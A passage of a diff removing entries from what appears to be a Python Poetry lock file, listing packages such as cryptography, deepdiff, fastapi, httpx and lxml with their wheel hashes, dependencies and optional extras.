"sha256:d8a7a2049c14f413163e2bdabd37e41179b1d1ccb10ffc6ccc4b7a718429c607"}, - {file = "coverage-7.13.5-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1c85e0b6c05c592ea6d8768a66a254bfb3874b53774b12d4c89c481eb78cb90"}, - {file = "coverage-7.13.5-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:777c4d1eff1b67876139d24288aaf1817f6c03d6bae9c5cc8d27b83bcfe38fe3"}, - {file = "coverage-7.13.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6697e29b93707167687543480a40f0db8f356e86d9f67ddf2e37e2dfd91a9dab"}, - {file = "coverage-7.13.5-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:8fdf453a942c3e4d99bd80088141c4c6960bb232c409d9c3558e2dbaa3998562"}, - {file = "coverage-7.13.5-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:32ca0c0114c9834a43f045a87dcebd69d108d8ffb666957ea65aa132f50332e2"}, - {file = "coverage-7.13.5-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8769751c10f339021e2638cd354e13adeac54004d1941119b2c96fe5276d45ea"}, - {file = "coverage-7.13.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cec2d83125531bd153175354055cdb7a09987af08a9430bd173c937c6d0fba2a"}, - {file = "coverage-7.13.5-cp314-cp314t-win32.whl", hash = "sha256:0cd9ed7a8b181775459296e402ca4fb27db1279740a24e93b3b41942ebe4b215"}, - {file = "coverage-7.13.5-cp314-cp314t-win_amd64.whl", hash = "sha256:301e3b7dfefecaca37c9f1aa6f0049b7d4ab8dd933742b607765d757aca77d43"}, - {file = "coverage-7.13.5-cp314-cp314t-win_arm64.whl", hash = "sha256:9dacc2ad679b292709e0f5fc1ac74a6d4d5562e424058962c7bb0c658ad25e45"}, - {file = "coverage-7.13.5-py3-none-any.whl", hash = "sha256:34b02417cf070e173989b3db962f7ed56d2f644307b2cf9d5a0f258e13084a61"}, - {file = "coverage-7.13.5.tar.gz", hash = "sha256:c81f6515c4c40141f83f502b07bbfa5c240ba25bbe73da7b33f1e5b6120ff179"}, -] - -[package.dependencies] -tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} - -[package.extras] -toml = ["tomli ; python_full_version <= \"3.11.0a6\""] - -[[package]] -name = "cryptography" -version = "46.0.7" -description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -optional = false -python-versions = "!=3.9.0,!=3.9.1,>=3.8" -groups = ["main"] -files = [ - {file = "cryptography-46.0.7-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:ea42cbe97209df307fdc3b155f1b6fa2577c0defa8f1f7d3be7d31d189108ad4"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b36a4695e29fe69215d75960b22577197aca3f7a25b9cf9d165dcfe9d80bc325"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5ad9ef796328c5e3c4ceed237a183f5d41d21150f972455a9d926593a1dcb308"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:73510b83623e080a2c35c62c15298096e2a5dc8d51c3b4e1740211839d0dea77"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cbd5fb06b62bd0721e1170273d3f4d5a277044c47ca27ee257025146c34cbdd1"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:420b1e4109cc95f0e5700eed79908cef9268265c773d3a66f7af1eef53d409ef"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:24402210aa54baae71d99441d15bb5a1919c195398a87b563df84468160a65de"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:8a469028a86f12eb7d2fe97162d0634026d92a21f3ae0ac87ed1c4a447886c83"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:9694078c5d44c157ef3162e3bf3946510b857df5a3955458381d1c7cfc143ddb"}, - {file = "cryptography-46.0.7-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:42a1e5f98abb6391717978baf9f90dc28a743b7d9be7f0751a6f56a75d14065b"}, - {file = "cryptography-46.0.7-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91bbcb08347344f810cbe49065914fe048949648f6bd5c2519f34619142bbe85"}, - {file = "cryptography-46.0.7-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5d1c02a14ceb9148cc7816249f64f623fbfee39e8c03b3650d842ad3f34d637e"}, - {file = "cryptography-46.0.7-cp311-abi3-win32.whl", hash = "sha256:d23c8ca48e44ee015cd0a54aeccdf9f09004eba9fc96f38c911011d9ff1bd457"}, - {file = "cryptography-46.0.7-cp311-abi3-win_amd64.whl", hash = "sha256:397655da831414d165029da9bc483bed2fe0e75dde6a1523ec2fe63f3c46046b"}, - {file = "cryptography-46.0.7-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:d151173275e1728cf7839aaa80c34fe550c04ddb27b34f48c232193df8db5842"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:db0f493b9181c7820c8134437eb8b0b4792085d37dbb24da050476ccb664e59c"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ebd6daf519b9f189f85c479427bbd6e9c9037862cf8fe89ee35503bd209ed902"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:b7b412817be92117ec5ed95f880defe9cf18a832e8cafacf0a22337dc1981b4d"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:fbfd0e5f273877695cb93baf14b185f4878128b250cc9f8e617ea0c025dfb022"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:ffca7aa1d00cf7d6469b988c581598f2259e46215e0140af408966a24cf086ce"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:60627cf07e0d9274338521205899337c5d18249db56865f943cbe753aa96f40f"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:80406c3065e2c55d7f49a9550fe0c49b3f12e5bfff5dedb727e319e1afb9bf99"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:c5b1ccd1239f48b7151a65bc6dd54bcfcc15e028c8ac126d3fada09db0e07ef1"}, - {file = "cryptography-46.0.7-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d5f7520159cd9c2154eb61eb67548ca05c5774d39e9c2c4339fd793fe7d097b2"}, - {file = "cryptography-46.0.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fcd8eac50d9138c1d7fc53a653ba60a2bee81a505f9f8850b6b2888555a45d0e"}, - {file = "cryptography-46.0.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:65814c60f8cc400c63131584e3e1fad01235edba2614b61fbfbfa954082db0ee"}, - {file = "cryptography-46.0.7-cp314-cp314t-win32.whl", hash = "sha256:fdd1736fed309b4300346f88f74cd120c27c56852c3838cab416e7a166f67298"}, - {file = "cryptography-46.0.7-cp314-cp314t-win_amd64.whl", hash = "sha256:e06acf3c99be55aa3b516397fe42f5855597f430add9c17fa46bf2e0fb34c9bb"}, - {file = "cryptography-46.0.7-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:462ad5cb1c148a22b2e3bcc5ad52504dff325d17daf5df8d88c17dda1f75f2a4"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:84d4cced91f0f159a7ddacad249cc077e63195c36aac40b4150e7a57e84fffe7"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:128c5edfe5e5938b86b03941e94fac9ee793a94452ad1365c9fc3f4f62216832"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5e51be372b26ef4ba3de3c167cd3d1022934bc838ae9eaad7e644986d2a3d163"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cdf1a610ef82abb396451862739e3fc93b071c844399e15b90726ef7470eeaf2"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1d25aee46d0c6f1a501adcddb2d2fee4b979381346a78558ed13e50aa8a59067"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:cdfbe22376065ffcf8be74dc9a909f032df19bc58a699456a21712d6e5eabfd0"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:abad9dac36cbf55de6eb49badd4016806b3165d396f64925bf2999bcb67837ba"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:935ce7e3cfdb53e3536119a542b839bb94ec1ad081013e9ab9b7cfd478b05006"}, - {file = "cryptography-46.0.7-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:35719dc79d4730d30f1c2b6474bd6acda36ae2dfae1e3c16f2051f215df33ce0"}, - {file = "cryptography-46.0.7-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7bbc6ccf49d05ac8f7d7b5e2e2c33830d4fe2061def88210a126d130d7f71a85"}, - {file = "cryptography-46.0.7-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a1529d614f44b863a7b480c6d000fe93b59acee9c82ffa027cfadc77521a9f5e"}, - {file = "cryptography-46.0.7-cp38-abi3-win32.whl", hash = "sha256:f247c8c1a1fb45e12586afbb436ef21ff1e80670b2861a90353d9b025583d246"}, - {file = "cryptography-46.0.7-cp38-abi3-win_amd64.whl", hash = "sha256:506c4ff91eff4f82bdac7633318a526b1d1309fc07ca76a3ad182cb5b686d6d3"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:fc9ab8856ae6cf7c9358430e49b368f3108f050031442eaeb6b9d87e4dcf4e4f"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d3b99c535a9de0adced13d159c5a9cf65c325601aa30f4be08afd680643e9c15"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d02c738dacda7dc2a74d1b2b3177042009d5cab7c7079db74afc19e56ca1b455"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:04959522f938493042d595a736e7dbdff6eb6cc2339c11465b3ff89343b65f65"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:3986ac1dee6def53797289999eabe84798ad7817f3e97779b5061a95b0ee4968"}, - {file = "cryptography-46.0.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:258514877e15963bd43b558917bc9f54cf7cf866c38aa576ebf47a77ddbc43a4"}, - {file = "cryptography-46.0.7.tar.gz", hash = "sha256:e4cfd68c5f3e0bfdad0d38e023239b96a2fe84146481852dffbcca442c245aa5"}, -] - -[package.dependencies] -cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} -typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} - -[package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] -docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] -nox = ["nox[uv] (>=2024.4.15)"] -pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] -sdist = ["build (>=1.0.0)"] -ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi (>=2024)", "cryptography-vectors (==46.0.7)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] -test-randomorder = ["pytest-randomly"] - -[[package]] -name = "deepdiff" -version = "9.0.0" -description = "Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other." -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "deepdiff-9.0.0-py3-none-any.whl", hash = "sha256:b1ae0dd86290d86a03de5fbee728fde43095c1472ae4974bdab23ab4656305bd"}, - {file = "deepdiff-9.0.0.tar.gz", hash = "sha256:4872005306237b5b50829803feff58a1dfd20b2b357a55de22e7ded65b2008a7"}, -] - -[package.dependencies] -orderly-set = ">=5.5.0,<6" - -[package.extras] -cli = ["click (>=8.3.1,<8.4.0)", "pyyaml (>=6.0.3,<6.1.0)"] -coverage = ["coverage (>=7.13.5,<7.14.0)"] -dev = ["bump2version (>=1.0.1,<1.1.0)", "flit-core (==3.12.0)", "ipdb (>=0.13.13,<0.14.0)", "jsonpickle (>=4.1.1,<4.2.0)", "nox (==2026.2.9)", "numpy (>=2.2.0,<2.3.0) ; python_version < \"3.14\"", "numpy (>=2.4.3,<2.5.0) ; python_version >= \"3.14\"", "orjson (>=3.11.7,<3.12.0)", "pandas (>=2.2.0,<2.3.0) ; python_version < \"3.11\"", "pandas (>=3.0.1,<3.1.0) ; python_version >= \"3.11\"", "polars (>=1.39.3,<1.40.0)", "python-dateutil (>=2.9.0.post0,<2.10.0)", "pytz", "tomli (>=2.4.0,<2.5.0)", "tomli-w (>=1.2.0,<1.3.0)", "uuid6 (==2025.0.1)"] -docs = ["Sphinx (>=8.1.3,<8.2.0)", "furo (>=2024.8.6)", "sphinx-sitemap (>=2.9.0,<2.10.0)", "sphinxemoji (>=0.3.2,<0.4.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.3.0,<7.4.0)", "flake8-pyproject (>=1.2.4,<1.3.0)", "pydantic (>=2.12.5,<2.13.0)"] -test = ["pytest (>=9.0.2,<9.1.0)", "pytest-benchmark (>=5.2.3,<5.3.0)", "pytest-cov (>=7.1.0,<7.2.0)", "python-dotenv (>=1.2.2,<1.3.0)"] - -[[package]] -name = "distlib" -version = "0.4.0" -description = "Distribution utilities" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, - {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, -] - -[[package]] -name = "dnspython" -version = "2.8.0" -description = "DNS toolkit" -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af"}, - {file = "dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f"}, -] - -[package.extras] -dev = ["black (>=25.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.17.0)", "mypy (>=1.17)", "pylint (>=3)", "pytest (>=8.4)", "pytest-cov (>=6.2.0)", "quart-trio (>=0.12.0)", "sphinx (>=8.2.0)", "sphinx-rtd-theme (>=3.0.0)", "twine (>=6.1.0)", "wheel (>=0.45.0)"] -dnssec = ["cryptography (>=45)"] -doh = ["h2 (>=4.2.0)", "httpcore (>=1.0.0)", "httpx (>=0.28.0)"] -doq = ["aioquic (>=1.2.0)"] -idna = ["idna (>=3.10)"] -trio = ["trio (>=0.30)"] -wmi = ["wmi (>=1.5.1) ; platform_system == \"Windows\""] - -[[package]] -name = "exceptiongroup" -version = "1.3.1" -description = "Backport of PEP 654 (exception groups)" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, - {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, -] - -[package.dependencies] -typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} - -[package.extras] -test = ["pytest (>=6)"] - -[[package]] -name = "fastapi" -version = "0.136.0" -description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "fastapi-0.136.0-py3-none-any.whl", hash = "sha256:8793d44ec7378e2be07f8a013cf7f7aa47d6327d0dfe9804862688ec4541a6b4"}, - {file = "fastapi-0.136.0.tar.gz", hash = "sha256:cf08e067cc66e106e102d9ba659463abfac245200752f8a5b7b1e813de4ff73e"}, -] - -[package.dependencies] -annotated-doc = ">=0.0.2" -pydantic = ">=2.9.0" -starlette = ">=0.46.0" -typing-extensions = ">=4.8.0" -typing-inspection = ">=0.4.2" - -[package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "uvicorn[standard] (>=0.12.0)"] -standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "fastar (>=0.9.0)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] -standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] - -[[package]] -name = "filelock" -version = "3.29.0" -description = "A platform independent file lock." -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "filelock-3.29.0-py3-none-any.whl", hash = "sha256:96f5f6344709aa1572bbf631c640e4ebeeb519e08da902c39a001882f30ac258"}, - {file = "filelock-3.29.0.tar.gz", hash = "sha256:69974355e960702e789734cb4871f884ea6fe50bd8404051a3530bc07809cf90"}, -] - -[[package]] -name = "ghp-import" -version = "2.1.0" -description = "Copy your docs directly to the gh-pages branch." -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343"}, - {file = "ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619"}, -] - -[package.dependencies] -python-dateutil = ">=2.8.1" - -[package.extras] -dev = ["flake8", "markdown", "twine", "wheel"] - -[[package]] -name = "griffe" -version = "1.15.0" -description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"}, - {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"}, -] - -[package.dependencies] -colorama = ">=0.4" - -[package.extras] -pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] - -[[package]] -name = "griffelib" -version = "2.0.2" -description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "griffelib-2.0.2-py3-none-any.whl", hash = "sha256:925c857658fb1ba40c0772c37acbc2ab650bd794d9c1b9726922e36ea4117ea1"}, - {file = "griffelib-2.0.2.tar.gz", hash = "sha256:3cf20b3bc470e83763ffbf236e0076b1211bac1bc67de13daf494640f2de707e"}, -] - -[package.extras] -pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] - -[[package]] -name = "h11" -version = "0.16.0" -description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, - {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, -] - -[[package]] -name = "httpcore" -version = "1.0.9" -description = "A minimal low-level HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, - {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, -] - -[package.dependencies] -certifi = "*" -h11 = ">=0.16" - -[package.extras] -asyncio = ["anyio (>=4.0,<5.0)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -trio = ["trio (>=0.22.0,<1.0)"] - -[[package]] -name = "httpx" -version = "0.28.1" -description = "The next generation HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, - {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, -] - -[package.dependencies] -anyio = "*" -certifi = "*" -httpcore = "==1.*" -idna = "*" - -[package.extras] -brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] -cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -zstd = ["zstandard (>=0.18.0)"] - -[[package]] -name = "identify" -version = "2.6.19" -description = "File identification library for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "identify-2.6.19-py2.py3-none-any.whl", hash = "sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a"}, - {file = "identify-2.6.19.tar.gz", hash = "sha256:6be5020c38fcb07da56c53733538a3081ea5aa70d36a156f83044bfbf9173842"}, -] - -[package.extras] -license = ["ukkonen"] - -[[package]] -name = "idna" -version = "3.13" -description = "Internationalized Domain Names in Applications (IDNA)" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "idna-3.13-py3-none-any.whl", hash = "sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3"}, - {file = "idna-3.13.tar.gz", hash = "sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242"}, -] - -[package.extras] -all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] - -[[package]] -name = "iniconfig" -version = "2.3.0" -description = "brain-dead simple config-ini parsing" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, - {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, -] - -[[package]] -name = "jinja2" -version = "3.1.6" -description = "A very fast and expressive template engine." -optional = false -python-versions = ">=3.7" -groups = ["main", "docs"] -files = [ - {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, - {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, -] - -[package.dependencies] -MarkupSafe = ">=2.0" - -[package.extras] -i18n = ["Babel (>=2.7)"] - -[[package]] -name = "libsass" -version = "0.23.0" -description = "Sass for Python: A straightforward binding of libsass for Python." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc"}, - {file = "libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6"}, - {file = "libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306"}, - {file = "libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4"}, - {file = "libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c"}, - {file = "libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880"}, -] - -[[package]] -name = "livereload" -version = "2.7.1" -description = "Python LiveReload is an awesome tool for web developers" -optional = false -python-versions = ">=3.7" -groups = ["docs"] -files = [ - {file = "livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564"}, - {file = "livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9"}, -] - -[package.dependencies] -tornado = "*" - -[[package]] -name = "lockfile" -version = "0.12.2" -description = "Platform-independent file locking module" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"}, - {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"}, -] - -[[package]] -name = "lxml" -version = "6.1.0" -description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "lxml-6.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec"}, - {file = "lxml-6.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a31286dbb5e74c8e9a5344465b77ab4c5bd511a253b355b5ca2fae7e579fafec"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffb34ea45a82dd637c2c97ae1bbb920850c1e59bcae79ce1c15af531d83e7215"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a1d9b99e5b2597e4f5aed2484fef835256fa1b68a19e4265c97628ef4bf8bcf4"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:d43aa26dcda363f21e79afa0668f5029ed7394b3bb8c92a6927a3d34e8b610ea"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:6262b87f9e5c1e5fe501d6c153247289af42eb44ad7660b9b3de17baaf92d6f6"}, - {file = "lxml-6.1.0-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d1392c569c032f78a11a25d1de1c43fff13294c793b39e19d84fade3045cbbc3"}, - {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7"}, - {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = 